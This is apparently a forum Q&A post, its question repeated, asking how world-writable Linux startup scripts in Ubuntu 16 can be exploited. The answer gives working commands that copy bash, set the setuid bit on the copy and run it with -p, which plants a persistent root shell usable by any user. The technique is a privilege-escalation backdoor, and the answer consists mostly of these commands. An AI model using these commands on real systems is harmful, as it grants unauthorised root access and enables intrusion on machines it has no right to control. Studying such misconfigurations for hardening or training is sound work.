What are startup scripts in Linux and what are the steps to exploit startup scripts if they are world writable?
I would appreciate if one can explain based on the following two files as example in Ubuntu 16:
/etc/init.d/README
/etc/init.d/sudo
What are startup scripts in Linux and what are the steps to exploit startup scripts if they are world writable?
I would appreciate if one can explain based on the following two files as example in Ubuntu 16:
/etc/init.d/README
/etc/init.d/sudo
Arrange, to run as root:
cp $(which bash) $(which bash).muhaha
chmod u+s $(which bash).muhaha
Now, executing $(which bash).muhaha -p
gives root to any user. You can even run a script as root with $(which bash).muhaha -p /path/to/script
.
The -p
option is necessary because otherwise bash
detects that it is setuid
and drops root privileges as a security measure.